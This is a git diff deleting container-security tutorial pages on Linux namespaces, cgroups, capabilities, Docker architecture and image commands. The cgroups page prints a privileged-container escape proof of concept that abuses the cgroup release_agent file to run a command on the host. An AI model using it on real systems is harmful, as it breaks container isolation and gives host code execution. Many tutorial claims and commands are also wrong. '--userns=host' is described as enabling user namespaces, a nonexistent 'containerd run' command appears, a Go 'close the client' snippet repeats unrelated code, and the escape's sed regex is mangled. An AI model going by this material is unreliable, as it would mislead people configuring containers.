IP address to veth1 in the namespace: - -```bash -# ip netns exec container1 ip addr add 192.168.0.2/24 dev veth1 - -``` -ow, we can test connectivity between the host and the namespace by pinging the IP address assigned to veth1: - -```bash -# ping 192.168.0.2 - -``` -In this example, we created a namespace for network resources and connected it to the host using a veth pair. We were then able to assign IP addresses to each end of the pair and ping the IP address in the namespace from the host, demonstrating that the namespace is isolated from the host's network resources. -
- -# Mount Namespaces with example - -Mount namespaces in containers allow for the creation of isolated environments for file systems. This means that each container has its own unique file system, separate from the host operating system and other containers. - -For example, let's say we have a container running a web server. Within this container, we have the necessary files and directories for the web server to run, such as HTML files and images. - -Now, let's say we want to run a second container that also has a web server, but with different HTML files and images. If we didn't have mount namespaces, both containers would be sharing the same file system and could potentially overwrite or interfere with each other's files. - -However, with mount namespaces, each container has its own isolated file system. This allows us to run both web servers with different files and directories, without them affecting each other. - -To create a mount namespace in a container, we can use the `--mount` flag when running the container. For example: - -```bash -$ docker run -d --name mycontainer --mount type=bind,source=/path/to/files, -target=/var/www/html nginx -``` - -This command creates a new container named "mycontainer" and mounts the directory at `/path/to/files` from the host operating system to the `/var/www/html` directory within the container. This allows the web server within the container to access and serve the files from the host operating system. - -# User Namespaces with example - -User Namespaces in containers allow the container to have its own independent user and group IDs, separate from the host system. This can be useful for providing isolation and security within the container, as well as allowing the container to run processes with different user and group permissions than the host system. - -For example, let's say we have a container running as the user `appuser` with a user ID of 1000 and a group ID of 1000. Without User Namespaces, this user would have the same permissions as the user `appuser` on the host system. However, with User Namespaces enabled, we can map the user and group IDs within the container to different IDs on the host system. For example, we could map the user ID 1000 within the container to the user ID 2000 on the host system. This would allow the container to run processes as user 2000 on the host system, while still appearing as user 1000 within the container. - - -To enable User Namespaces in a container, we can use the `--userns` flag when starting the container. For example: - -```bash -docker run --userns=host -it ubuntu - -``` - -This will start a new container running the Ubuntu image, with User Namespaces enabled and mapped to the host system's user and group IDs. - - -# UTS Namespaces with example - -UTS namespaces allow containers to have their own hostname and domain name system (DNS) domain, separate from the host machine. This means that each container can have its own hostname and DNS domain, without affecting the host machine or other containers. - -To demonstrate this with a hands-on example, we can create a container using Docker and specify a hostname for the container. - -First, let's create a container using the following command: - -``` -docker run -it --name my_container ubuntu - -``` - -This will create a container named `my_container` using the Ubuntu image. Now, let's specify a hostname for this container using the `-h` flag: - -```bash -docker run -it --name my_container -h my_container_host ubuntu - -``` -Now, if we check the hostname of the container using the `hostname` command, it will return `my_container_host`. This hostname is specific to the container and is not the same as the host machine's hostname. - -We can also specify a DNS domain for the container using the `--dns-domain` flag: - -```bash -docker run -it --name my_container -h my_container_host --dns-domain -my_container_domain ubuntu -``` -Now, if we check the DNS domain of the container using the "hostname -d" command, it will return "my_container_domain". This DNS domain is specific to the container and is not the same as the host machine's DNS domain. - -By using UTS namespaces, we can give each container its own unique hostname and DNS domain, allowing them to be isolated and operate independently from the host machine and other containers. \ No newline at end of file diff --git a/content/en/containersecurity/b5.Cgroup.md b/content/en/containersecurity/b5.Cgroup.md deleted file mode 100644 index e89b78b..0000000 --- a/content/en/containersecurity/b5.Cgroup.md +++ /dev/null @@ -1,233 +0,0 @@ ---- -title: "Cgroups" -description: "Linux Container Cgroups " -slug: "Cgroups" ---- - -# Cgroups -
-Cgroups, also known as control groups, are a Linux kernel feature that allows administrators to limit, prioritize, and allocate resources such as CPU, memory, and I/O bandwidth to a group of processes. - -In a container environment, Cgroups are used to ensure that each container has its own set of resources and cannot interfere with other containers or the host system. This helps to isolate the containers from each other and allows them to run in a more predictable and stable manner. - -Cgroups can be used to set limits on the amount of resources a container can use, such as CPU time or memory usage. This ensures that a single container cannot monopolize resources and negatively impact the performance of other containers or the host system. - -Cgroups are a key component in containerization technologies such as Docker and Kubernetes, which use them to manage and allocate resources for containers. They help to ensure that containers have the resources they need to run effectively, while also preventing resource contention between containers. - - -There are several types of cgroups (control groups) that can be used in a container: - -1.CPU: This cgroup limits the amount of CPU resources available to a container. It can be used to ensure that a container does not consume too much CPU time, which can impact the performance of other containers or the host machine. - -2.Memory: This cgroup limits the amount of memory available to a container. It can be used to prevent a container from consuming too much memory, which can cause the host machine to run out of available memory. -3.Disk I/O: This cgroup limits the amount of disk I/O (input/output) available to a container. It can be used to ensure that a container does not consume too much disk I/O, which can impact the performance of other containers or the host machine. -4.Network: This cgroup limits the amount of network bandwidth available to a container. It can be used to ensure that a container does not consume too much network bandwidth, which can impact the performance of other containers or the host machine. -5.PID: This cgroup limits the number of processes that a container can run. It can be used to prevent a container from creating too many processes, which can impact the performance of other containers or the host machine. - - -# CPU Cgroup with example -
-A CPU Cgroup (Control Group) is a Linux kernel feature that allows the administrator to limit, prioritize, and allocate CPU resources to specific groups of processes or containers. This helps to ensure that a single container or group of processes does not consume too much CPU resources and cause resource contention with other containers or processes on the system. - -To illustrate this with a hands-on example, let's say we have two containers running on our system: Container A and Container B. We want to allocate 50% of the CPU resources to Container A and the remaining 50% to Container B. - -To do this, we can use the "cgcreate" command to create a new CPU Cgroup for Container A: - -```bash -$ cgcreate -g cpu:/container_a - -``` -Next, we can use the "cgset" command to specify the CPU resources that Container A is allowed to use: - -```bash -$ cgset -r cpu.cfs_quota_us=50000 container_a - -``` - -This sets the CPU quota for Container A to 50,000 microseconds (50% of the available CPU resources). - -Finally, we can use the "cgclassify" command to assign the processes running in Container A to this Cgroup: - -```bash -$ cgclassify -g cpu:/container_a $(pidof ) - -``` - -This will ensure that the processes running in Container A are only allowed to use up to 50% of the CPU resources. - -We can repeat this process for Container B to allocate the remaining 50% of CPU resources to it. - -By using CPU Cgroups, we can effectively control and allocate CPU resources to different containers and processes on our system, ensuring that each container or process gets the resources it needs without causing resource contention. - - -# Memory Cgroup with example -
- -Memory Cgroups (control groups) are a Linux kernel feature that allow administrators to allocate and limit the amount of memory resources available to a group of processes. This is particularly useful in the context of containers, where the containerized applications are isolated from the host system and can potentially consume all available memory resources. - -For example, consider a situation where a containerized application is running on a host with 8 GB of memory. Without memory Cgroups, the application could potentially consume all 8 GB of memory, potentially causing other processes on the host to crash or experience performance issues. - -To address this issue, an administrator can use memory Cgroups to limit the amount of memory available to the containerized application. For example, the administrator could specify that the containerized application is only allowed to use 4 GB of memory. If the application attempts to consume more than 4 GB of memory, it will be killed by the kernel. - -To demonstrate this concept with a hands-on example, we can use the "docker" command to run a containerized application and specify a memory limit using the `--memory` flag. For example: - -```bash -docker run --memory 4g my_containerized_app - -``` - -This command will run the containerized application `my_containerized_app` and limit it to using a maximum of 4 GB of memory. If the application attempts to consume more than 4 GB of memory, it will be killed by the kernel. - -# Disk I/O Cgroup with example -
-A Disk I/O Cgroup is a Linux kernel feature that allows administrators to set limits on the amount of disk input/output (I/O) a group of processes can perform. This can be useful in a container environment, as it allows administrators to ensure that one container or group of containers does not consume too many resources and negatively impact the performance of other containers or the host system. - -To create a Disk I/O Cgroup in a container environment, you will need to have a container runtime that supports Cgroups, such as Docker or Kubernetes. - -Here is a hands-on example using Docker: - -1. Run the following command to create a new container named "my-container" with a Disk I/O Cgroup limit of 100 kilobytes per second (KB/s): - -```bash -docker run -it --name my-container --cgroup-parent my-cgroup ---device-read-bps /dev/sda:100000 --device-write-bps /dev/sda:100000 ubuntu - - -``` - - -Once the container is running, you can use the cgclassify command to verify that the Disk I/O Cgroup limit has been applied: - -```bash -cgclassify -g blkio:/my-cgroup/my-container - -``` -You can also use the cgtop command to monitor the Disk I/O usage of the container in real-time: - -```bash -cgtop -d 1 -c 2 -g blkio - -``` - -his will display a list of all containers with Disk I/O Cgroups, along with their usage and limits. In this example, you should see "my-container" listed with a limit of 100 KB/s. - -By setting Disk I/O limits for containers, you can ensure that each container has the resources it needs to perform its tasks without impacting the performance of other containers or the host system. This can help to improve the overall performance and stability of your container environment. - - -# Network Cgroup with example -
-Network Cgroup is a Linux kernel feature that allows the administrator to limit, prioritize, and control network resources for a group of processes. In the context of containers, Network Cgroup can be used to limit the amount of bandwidth, number of connections, and other network resources that a container can use. - -For example, consider a scenario where you have a container running a web server. You may want to limit the amount of bandwidth the container can use to prevent it from consuming too much of the available network resources. To do this, you can use Network Cgroup to set a bandwidth limit for the container. - -To demonstrate this with a hands-on example, let's first create a new container using Docker: - -```bash -$ docker run -it --name web-server ubuntu -``` - -Next, we will use the `cgcreate` command to create a new Network Cgroup for our container: - -```bash -$ cgcreate -g net_cls:web-server - -``` - -This will create a new Network Cgroup named web-server that we can use to limit the network resources of our container. - -To set a bandwidth limit for our container, we can use the tc command to create a new traffic control class and attach it to our Network Cgroup: - -```bash -$ tc class add dev eth0 parent 1:1 classid 1:10 htb rate 1mbps -$ cgset -r net_cls.classid=1:10 web-server - -``` -This will limit the container to using 1Mbps of bandwidth. If the container tries to use more bandwidth than this, it will be throttled by the kernel. - -We can verify that the bandwidth limit is in place by using the tc command to show the traffic control classes: - -```bash -$ tc -s class show dev eth0 - -``` - -This will show all of the traffic control classes on the eth0 interface, including the one we just created for our container. - -In this example, we demonstrated how to use Network Cgroup to limit the bandwidth used by a container. However, Network Cgroup can also be used to control other network resources, such as the number of connections, packet rate, and more. - - -# PID Cgroup with example -
-PID stands for "Process ID" and is a unique identifier assigned to each process running on a computer. A PID allows the system to identify and manage each process individually. - -Cgroup stands for "Control Group" and is a Linux kernel feature that allows the system to allocate resources (such as CPU and memory) to a group of processes. This allows the system to prioritize or limit the resource usage of certain processes. - -In a container, PID and Cgroup are used to isolate processes and resources within the container. For example, if we have a container running a web server, we can assign a specific PID and Cgroup to that container to ensure that the web server has access to the necessary resources and is not impacted by other processes running on the system. - -Here is a hands-on example of using PID and Cgroup in a container: - -Start a new container using the docker run command, specifying the image and any necessary arguments: - -```bash -docker run -d --name my-web-server -p 8080:80 nginx - - -``` -Check the PID of the main process inside the container by running the following command: - -```bash -docker exec my-web-server ps -aux - - -``` -This will display a list of processes running inside the container, including the PID of the main process (in this case, the nginx web server). - -Check the Cgroup of the container by running the following command: - -```bash - -cat /sys/fs/cgroup/memory/docker/[CONTAINER ID]/memory.usage_in_bytes - - -``` - - -This will display the current memory usage of the container in bytes. - -By using PID and Cgroup, we can ensure that the processes and resources within the container are properly isolated and managed. - - - -# Created Group release agent (container escape). -
-MITRE: Privilege Escalation - -The PoC relied on another misconfiguration where the container has elevated privileges, either by the `--privileged` flag or the apparmor=unconfined flag. The escape can be triggered by an exploit using the Linux cgroups (control groups) mechanism and a ‘release_agent’ file. - -Linux control groups are intended to allow multiple Docker containers to run in isolation while limiting and monitoring their use of resources. However, the ‘release_agent’ file contains a command that is executed by the kernel with full privileges on the host once the last task in a cgroup terminates. The PoC abuses this functionality by creating a ‘release_agent’ file with a malicious command, and then killing off all the tasks in the cgroup. - -As the cgroup files are present both in the container and on the host, it is possible to modify them from either, which means an attacker can spawn a process inside the cgroup and gain code execution on the host. - - -```bash -# On the host - -docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash - -# In the container -mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x - -echo 1 > /tmp/cgrp/x/notify_on_release -host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab` -echo "$host_path/cmd" > /tmp/cgrp/release_agent - -echo '#!/bin/sh' > /cmd -echo "ps aux > $host_path/output" >> /cmd -chmod a+x /cmd - -sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" - - -``` - -MITRE: Privilege Escalation \ No newline at end of file diff --git a/content/en/containersecurity/b6.Capabilities.md b/content/en/containersecurity/b6.Capabilities.md deleted file mode 100644 index b9851dd..0000000 --- a/content/en/containersecurity/b6.Capabilities.md +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: "Capabilities " -description: "Linux Container Capabilities " -slug: "capabilities" ---- - - -# Capabilities -
-There are several types of capabilities that are used in Linux container security: - -1.Process isolation: This allows the separation of processes between different containers, ensuring that processes running in one container do not have access to resources or processes in another container. - -2.Resource limitation: This allows the allocation of specific resources (such as CPU, memory, and disk space) to each container, ensuring that one container does not consume more resources than it has been allocated. - -3.User namespace: This allows the creation of user accounts within a container that are separate from the host system, ensuring that users within a container do not have access to resources outside of the container. - -4.SELinux or AppArmor: These are security frameworks that allow administrators to set granular permissions for processes and resources within a container, ensuring that only authorized processes and resources can be accessed. - -5.Network isolation: This allows the creation of separate network environments for each container, ensuring that containers cannot communicate with each other or the host system unless explicitly allowed. - -Overall, these capabilities help to ensure that containers are secure and isolated from each other, protecting the host system and other containers from potential vulnerabilities or attacks. - - -# Process Isolation -
-Process isolation is a security feature that allows containers to operate as if they are running on a separate machine, even though they are sharing the same underlying operating system and hardware resources with other containers. This is achieved by isolating the processes running inside the container from those running outside, and by limiting the resources (such as CPU, memory, and network bandwidth) that a container can access. - -One way to demonstrate process isolation in a container is to create two containers, each running a different application. For example, we can create a container running a web server and another container running a database. We can then verify that the processes running inside each container are isolated from each other by trying to access the database from the web server container (which should fail). - -Here is a hands-on example of how to demonstrate process isolation in containers using Docker: - -First, install Docker on your machine if you don't already have it. -Start by creating a Docker network for our containers to communicate over. Run the following command: - -```bash -docker network create my-network -``` -Next, create a container running a web server by running the following command: - -```bash -docker run -d --name web-server --network my-network -p 80:80 nginx:latest -``` -This will create a container running the latest version of the nginx web server, and expose it on port 80 of the host machine. - -Now, create a second container running a database by running the following command: - -```bash -docker run -d --name database --network my-network -p 3306:3306 mysql:latest -``` -This will create a container running the latest version of the MySQL database, and expose it on port 3306 of the host machine. - -To verify that the two containers are isolated from each other, try to connect to the database from the web server container by running the following command: - -```bash -docker exec -it web-server mysql -h database -u root -p - -``` - -This should fail with an error message, indicating that the web server container is unable to access the database container. - -if you want to verify that the two containers are able to communicate with each other, you can connect to the web server container and use the curl command to make a request to the database container. For example: - -```bash -docker exec -it web-server bash -curl http://database:3306 - -``` -This should return the MySQL welcome message, indicating that the web server container is able to communicate with the database container. - -Overall, this example demonstrates how process isolation in containers can be used to securely separate different applications and services, even though they are running on the same machine. - - -# Resource limitation -
-Resource limitation capabilities in container security refer to the ability to set limits on the amount of resources (such as CPU, memory, and network bandwidth) that a container is allowed to use. This can be useful for preventing a container from consuming too many resources and potentially impacting the performance of other containers or the host system. - -One example of using resource limitation capabilities in a hands-on scenario is to set limits on the CPU and memory usage of a container when deploying it. This can be done using the `--cpu-shares` and `--memory` flags when running the `docker run` command. For example: - -```bash -$ docker run -d --name my-container --cpu-shares 512 --memory 512MB my-image - -``` - -This command will run a container named "my-container" using the image "my-image", and limit the container's CPU usage to 512 shares (which is a relative value based on the host system's CPU) and its memory usage to 512MB. If the container tries to use more resources than these limits, it will be restricted and may experience performance issues. - -Resource limitation capabilities can be an effective tool for improving the security and stability of a container environment, as they can prevent a single container from causing issues for other containers or the host system. However, it's important to carefully consider the resource requirements of each container and set appropriate limits to ensure that the container has sufficient resources to function properly. - - -# User namespace -
-User namespaces in container security allow for the creation of a virtualized user environment within a container. This means that the processes within the container can run with a different set of user and group IDs than the host system. This can be useful in a number of scenarios, such as: - -- Running a container with a different user or group ID than the host system, which can help to isolate the processes within the container and prevent them from accessing sensitive host resources. -- Allowing a container to run as a specific user or group ID, even if that user or group ID does not exist on the host system. This can be useful when the container needs to access certain resources that are restricted to specific users or groups. -To demonstrate a hands-on example of user namespaces in container security, we can run a container with a different user and group ID than the host system. For example, we can create a container that runs as the "foo" user and "bar" group, even if those users and groups do not exist on the host system. - -To do this, we can use the following Docker command: - -```bash -$ docker run --rm -it --user 1000:1000 --name test-container ubuntu - -``` - -This will create a new container with the name "test-container", running the Ubuntu image and using the user and group IDs of 1000. We can verify that the container is running as the correct user and group by running the id command inside the container: - -```bash -# id -uid=1000(foo) gid=1000(bar) groups=1000(bar) - -``` -As we can see, the container is now running as the "foo" user and "bar" group. This allows us to isolate the processes within the container and prevent them from accessing sensitive host resources. It also allows us to access resources that are restricted to specific users or groups within the container, even if those users or groups do not exist on the host system. - - -# SELinux or AppArmor -
-SELinux (Security Enhanced Linux) and AppArmor are two examples of mandatory access control systems that can be used to secure containers. - -SELinux is a Linux kernel security module that allows administrators to define fine-grained access control policies for users, processes, and files. These policies are enforced at the kernel level, making it difficult for malicious actors to bypass or manipulate them. - -To demonstrate SELinux in action, we can create a simple container and apply an SELinux context to it. For example, let's create a container using the following command: - -```bash -$ docker run -it ubuntu bash - -``` -Next, we can apply an SELinux context to the container by using the chcon command: - -```bash -$ chcon -t container_t /var/lib/docker/overlay2/ - -``` - -This sets the SELinux context for the container to "container_t", which is a type of SELinux policy that is designed specifically for containers. This policy allows the container to access certain resources, such as networking and file system resources, but restricts its access to other resources, such as system processes and system files. -
-AppArmor is another mandatory access control system that can be used to secure containers. It works by defining profiles for applications, which specify what resources and actions the application is allowed to access and perform. These profiles are enforced at the kernel level, making it difficult for malicious actors to bypass or manipulate them. -
-To demonstrate AppArmor in action, we can create a container and apply an AppArmor profile to it. For example, let's create a container using the following command: - -```bash -$ docker run -it ubuntu bash - -``` -Next, we can apply an AppArmor profile to the container by using the aa-enforce command: - -```bash -$ aa-enforce /etc/apparmor.d/container_profile - -``` -This sets the AppArmor profile for the container to "container_profile", which is a predefined profile that is designed specifically for containers. This profile allows the container to access certain resources, such as networking and file system resources, but restricts its access to other resources, such as system processes and system files. - - -# Network isolation -
-Network isolation capabilities in container security refer to the ability to restrict the network traffic between containers and between containers and the host system. This is important for maintaining the security and isolation of containers, as it ensures that containers cannot communicate with each other or the host system unless explicitly allowed. -
-One example of a hands-on approach to implementing network isolation in container security is through the use of Docker networks. Docker networks allow users to create virtual networks within their Docker environment, allowing them to specify which containers can communicate with each other and which cannot. -
-For example, let's say we have two containers running on a Docker host, Container A and Container B. By default, these two containers can communicate with each other and the host system. However, we can use Docker networks to isolate these two containers from each other and the host system. -
-To do this, we can create a Docker network and specify which containers can connect to it. For example, we could create a network called "isolated" and only allow Container A to connect to it. This would mean that Container B and the host system would not be able to communicate with Container A. - -To create a Docker network and specify which containers can connect to it, we can use the following command: - -```bash -docker network create --driver bridge isolated - -``` -To add Container A to this network, we can use the following command: - -```bash -docker network connect isolated ContainerA - -``` -This would effectively isolate Container A from Container B and the host system, as they would not be able to communicate with it through the network. -
-Overall, network isolation capabilities in container security are important for maintaining the security and isolation of containers, as they allow users to specify which containers can communicate with each other and the host system. By using tools such as Docker networks, users can easily implement network isolation in their container environment. \ No newline at end of file diff --git a/content/en/containersecurity/b7.docker-architecture.md b/content/en/containersecurity/b7.docker-architecture.md deleted file mode 100644 index 02e44c7..0000000 --- a/content/en/containersecurity/b7.docker-architecture.md +++ /dev/null @@ -1,279 +0,0 @@ ---- -title: " Docker architecture and its components " -description: " Dockef Architecture in detail " -slug: "Docker-architecture-and-its-components" ---- - - -Docker architecture and its components - -# Docker Architecture - -![](./images/docker-engine-architecture.svg) - - - -Docker architecture consists of three main components: - -- Docker Engine: This is the core component of Docker and is responsible for building, running, and distributing Docker containers. It is made up of a daemon, a REST API, and a CLI (command line interface). -- Docker Hub: This is a cloud-based registry service that allows users to share and store Docker images. It acts as a central repository for Docker images and makes it easy for users to find and download images that they need for their projects. -- Docker Client: This is a command-line tool that allows users to interact with the Docker daemon and perform various tasks such as building, running, and distributing Docker containers. - -In addition to these main components, Docker architecture also includes other components such as Docker Compose (a tool for defining and running multi-container Docker applications), Docker Swarm (a tool for orchestrating and managing a cluster of Docker containers), and Docker Machine (a tool for creating and managing Docker hosts on various infrastructure platforms). - - -![](./images/docker-architecture.png) - -# Docker Engine - -To interact with the Docker Engine using Go, we can use the official Docker API library for Go, which can be found at https://github.com/docker/docker. - -Here are the steps to interact with the Docker Engine using Go: - -1.Import the necessary libraries: - -```go -import ( - "context" - "github.com/docker/docker/api/types" - "github.com/docker/docker/client" -) - -``` -2.Create a new Docker client: - -```go -cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation()) -if err != nil { - log.Fatal(err) -} - -``` -3.Use the client to perform various actions on the Docker Engine, such as pulling an image from a registry: - -```go -reader, err := cli.ImagePull(context.Background(), "alpine:latest", types.ImagePullOptions{}) -if err != nil { - log.Fatal(err) -} - -io.Copy(os.Stdout, reader) - - -``` - -Close the client when finished: - -```go -reader, err := cli.ImagePull(context.Background(), "alpine:latest", types.ImagePullOptions{}) -if err != nil { - log.Fatal(err) -} - -io.Copy(os.Stdout, reader) - - -``` - - -Using the Docker API library for Go, we can perform various actions on the Docker Engine, such as pulling images, creating and managing containers, and more. - - -# Docker Hub -
-First, we need to import the necessary packages for interacting with Docker Hub. This includes the "net/http" package for making HTTP requests and the "encoding/json" package for parsing the response from Docker Hub. -
-Next, we need to define a function that makes an HTTP GET request to the Docker Hub API endpoint for retrieving a list of all available repositories. We can use the "http.NewRequest" function to create the request and the "http.DefaultClient.Do" function to execute the request. -
-We can then parse the response from Docker Hub using the "json.Unmarshal" function and store the list of repositories in a variable. - -Finally, we can iterate through the list of repositories and print out the name and description of each repository. - -Here is the complete Golang program: - - -```go -package main - -import ( -"encoding/json" -"fmt" -"net/http" -) - -func main() { -// Make HTTP GET request to Docker Hub API endpoint for retrieving list of repositories -req, err := http.NewRequest("GET", "https://hub.docker.com/v2/repositories/", nil) -if err != nil { -fmt.Println(err) -return -} -// Execute request -resp, err := http.DefaultClient.Do(req) -if err != nil { - fmt.Println(err) - return -} - -// Parse response from Docker Hub -var data map[string][]map[string]interface{} -err = json.NewDecoder(resp.Body).Decode(&data) -if err != nil { - fmt.Println(err) - return -} - -// Iterate through list of repositories and print out name and description -for _, repo := range data["results"] { - fmt.Println(repo["name"], repo["description"]) -} -} - - -``` -# Docker Client - - -To interact with the Docker client in Go, we will need to import the github.com/docker/docker/client package and create a new Docker client using the NewClient function. - -Here are the steps to follow: - -1. Install the Docker SDK for Go by running `go get github.com/docker/docker/client`. -2. Import the github.com/docker/docker/client package in your Go code. -3. Create a new Docker client using the client.NewClient function. This function takes a string argument that specifies the Docker daemon URL, and returns a client.Client object. -4. Use the methods provided by the `client.Client` object to interact with the Docker daemon. Some examples of common methods include `ListContainers`, `InspectContainer`, and `CreateContainer`. -For example, to list all running containers on the Docker daemon, you could use the following code: - -```go - -package main - -import ( - "context" - "fmt" - "github.com/docker/docker/client" -) - -func main() { - // Create a new Docker client - cli, err := client.NewClient("unix:///var/run/docker.sock", "v1.39", nil, nil) - if err != nil { - panic(err) - } - - // List all running containers - containers, err := cli.ListContainers(context.Background(), types.ContainerListOptions{All: true}) - if err != nil { - panic(err) - } - - // Print the names of the containers - for _, container := range containers { - fmt.Println(container.Names[0]) - } -} - - -``` - -This code creates a new Docker client using the Unix socket located at `/var/run/docker.sock`, and then lists all running containers using the `ListContainers` method. Finally, it prints the names of the containers to the console. - - - -# Docker Runtime - -- Containerd - -Containerd is a runtime for managing containers on a system. It is designed to be lightweight and efficient, making it a popular choice for use in container-based environments. -
-Here is an example of using Containerd to run a Docker container: - -1.Install ContainerD on your system: - -```bash -sudo apt-get install containerd - -``` -2. Start the Containerd daemon: - -```bash -sudo systemctl start containerd - -``` -3. Pull a Docker image from the Docker Hub: - -```bash -docker pull ubuntu - -``` -Run a Docker container using Containerd: - -```bash -containerd run --name my-container ubuntu -``` - - -This will start a new Ubuntu container with the name "my-container" using ContainerD as the runtime. You can then access the container and run commands inside it just like any other Docker container. - - -# shim -
-Docker runtime is a term that refers to the environment in which Docker containers are executed. It includes the operating system, network, and storage resources required to run the containers. - -The Docker runtime also includes a shim, which is a small utility program that acts as an intermediary between the container and the host operating system. The shim is responsible for starting and stopping the container, as well as handling any errors or issues that may occur during execution. - -An example of how the shim works would be as follows: - -1.The user creates a Docker container and specifies the desired runtime environment (e.g. Linux, Windows, etc.) -2.The container is built and stored in a Docker image, which includes all the necessary files and dependencies for the container to run. -3.When the user runs the container, the shim is activated and begins executing the container's code. -4.The shim manages the container's execution, including starting and stopping the container, handling errors, and allocating resources such as memory and CPU. -5. Once the container finishes executing, the shim shuts it down and releases any resources that were being used. - -The Docker runtime and shim work together to ensure that containers are able to run smoothly and efficiently within the specified environment. - -# runc - -runc is the default runtime for Docker containers. It is a command line tool for running and managing containers according to the Open Container Initiative (OCI) specification. - -Here is an example of using runc to run a Docker container: - -1. First, pull a Docker image from the registry using the 'docker pull' command: - -```bash -docker pull alpine - -``` -2. Next, create a configuration file for the container using the 'runc spec' command: - -```bash -runc spec - -``` - -3. The configuration file can then be modified to specify the container's desired settings, such as the root filesystem, network settings, and runtime options. - -4. To create and start the container, use the 'runc run' command, followed by the name of the container and the configuration file: - -```bash -runc run my-container config.json - -``` -This will start the container based on the specified configuration and run the default command specified in the Docker image. - -To stop the container, use the 'runc kill' command: - -```bash -runc kill my-container - -``` -And to delete the container, use the 'runc delete' command: - -```bash - -runc delete my-container - -``` - - - diff --git a/content/en/containersecurity/b8.Intracting-with-container.md b/content/en/containersecurity/b8.Intracting-with-container.md deleted file mode 100644 index c1eadd1..0000000 --- a/content/en/containersecurity/b8.Intracting-with-container.md +++ /dev/null @@ -1,1023 +0,0 @@ ---- -title: "Interacting with container ecosystem " -slug: "Interacting-with-container-ecosystem" ---- - -# Interacting with container ecosystem - -- Docker Images and Image Layers - - - In Docker, an image is a lightweight, stand-alone, executable package that includes everything needed to run a piece of software, including the application code, libraries, dependencies, and runtime. It's used to build and run containerized applications. - - - A Docker image is made up of a series of layers, where each layer represents an instruction in the image's Dockerfile. When you build an image, each instruction in the Dockerfile creates a new layer in the image. For example, if the Dockerfile has a COPY instruction to copy in some new files, that creates a new layer in the image with those files. If you then change a file and rebuild the image, only the layers that have changed need to be rebuilt, which makes building images faster and more efficient. - - - Each layer is a delta of the changes made in that instruction compared to the previous layer. When you run a container from an image, Docker creates a new top writable layer on top of the underlying layers, allowing you to make changes to the running container. These changes are not persisted when the container is stopped and removed, unless you commit the changes to a new image. - - - In summary, a Docker image is a lightweight, stand-alone, executable package that contains everything needed to run a piece of software, and it is made up of a series of layers representing instructions in the image's Dockerfile. - -# Docker images commands - -```bash -docker images [OPTIONS] [REPOSITORY[:TAG]] - -``` - -- The default docker images will show all top level images, their repository and tags, and their size. -
-- Docker images have intermediate layers that increase reusability, decrease disk usage, and speed up docker build by allowing each step to be cached. These intermediate layers are not shown by default. -
-- The SIZE is the cumulative space taken up by the image and all its parent images. This is also the disk space used by the contents of the Tar file created when you docker save an image. - -- An image will be listed more than once if it has multiple repository names or tags. This single image (identifiable by its matching IMAGE ID) uses up the SIZE listed only once. - -- docker images - list all local Docker images - -Example: `docker images` -
- -- ```docker image ls``` - list all local Docker images with additional information such as image ID, repository, and tag - - -Example: `docker image ls` - - -- ```docker image inspect``` - display detailed information about a Docker image - -Example: `docker image inspect ubuntu:latest` -
- -- ```docker image history``` - show the history of a Docker image -Example: ```docker image history ubuntu:latest``` -
- -- ```docker image pull``` - download a Docker image from a registry -Example: ```docker image pull ubuntu:latest``` -
- -- ```docker image push``` - push a Docker image to a registry -Example: ```docker image push my-image:latest``` -
- -- ```docker image tag``` - add a tag to a Docker image -Example: ```docker image tag ubuntu:latest my-image:latest``` -
- -- ```docker image build``` - build a Docker image from a Dockerfile -Example: ```docker image build -t my-image:latest .``` -
- -- ```docker image save``` - save a Docker image to a tar archive -Example: ```docker image save ubuntu:latest > ubuntu.tar``` -
- -- ```docker image load` - load a Docker image from a tar archive -Example: ```docker image load < ubuntu.tar``` - - -| Name, shorthand | Default | Description | -|-|-|-| -| --all , -a| | Show all images (default hides intermediate images) | -|--digests | | Show digests | -|--filter , -f | | Filter output based on conditions provided | -|--format | | Pretty-print images using a Go template| -|--no-trunc | | Don't truncate output | -|--quiet , -q | | Only show image IDs| - -
- -# List recently created images - -```bash -$ docker images -``` -alternative - -```bash -$ docker image ls -``` - -# Filtering Docker Image List - -```bash -$ docker images --filter " = " - -``` -With the `–filter` option, you can specify the following keys : - -
- -- ```reference``` : that can be used in order to isolate images having a certain name or tag; - -```bash -$ docker images --filter "reference=deb*" -``` -`before` : to filter images created “before” a specific point in time; - -```bash -$ docker images --filter "before=" -``` - -```since``` : to filter images since a specific point in time (usually another image creation); - -```bash - docker images --filter "since=" -``` - -```label``` : if you used the LABEL instruction to create metadata for your image you can filter them later with this key - -```bash - $ docker images --filter "label=maintainer=" -``` - -```dangling``` : in order to isolate images that are not used anymore. - -```bash -docker images --filter "dangling=true" -``` - -### Here are some examples of using the 'docker images' command with the '--format' option: - -To list all Docker images and their IDs in a table format, use the following command: - -```bash -docker images --format "table {{.ID}}\t{{.Repository}}" - -``` -output - -```bash -IMAGE ID REPOSITORY -4f4b6b93e0a4 alpine -``` - -To list all Docker images and their sizes in a custom format, use the following command: - -```bash -docker images --format "{{.Size}}\t{{.Repository}}" -``` -output - -```bash -SIZE REPOSITORY -3.99 MB alpine - -``` - -To list all Docker images and their created dates in a custom format, use the following command: - -```bash -docker images --format "{{.CreatedAt}}\t{{.Repository}}" - -``` - -output - -```bash -CREATED AT REPOSITORY -2022-03-01T00:00:00Z alpine -``` - -To list all Docker images with their full repository and tag names, use the `--no-trunc` flag: - -```bash -docker images --all --no-trunc - -``` - -```docker images --quiet``` - This command lists all of the Docker images on the system, but only displays the image IDs. - -```bash -docker images --quiet - -``` - -output - -```bash -cdd72a7d23c8 -``` - -```docker pull --quiet [image name]``` - This command pulls a Docker image from the registry, but only displays the image ID of the image being pulled. - -```bash -docker pull --quiet alpine - -``` - -output - -```bash -d9e555c53f53 -``` - -```docker build --quiet -t [image name] [Dockerfile location]``` - This command builds a Docker image from a Dockerfile, but only displays the image ID of the image being built. - -```bash -docker build --quiet -t my-image . -``` -output - -```bash -24c1f2a1c63d -``` - -# Understand Image Layers -
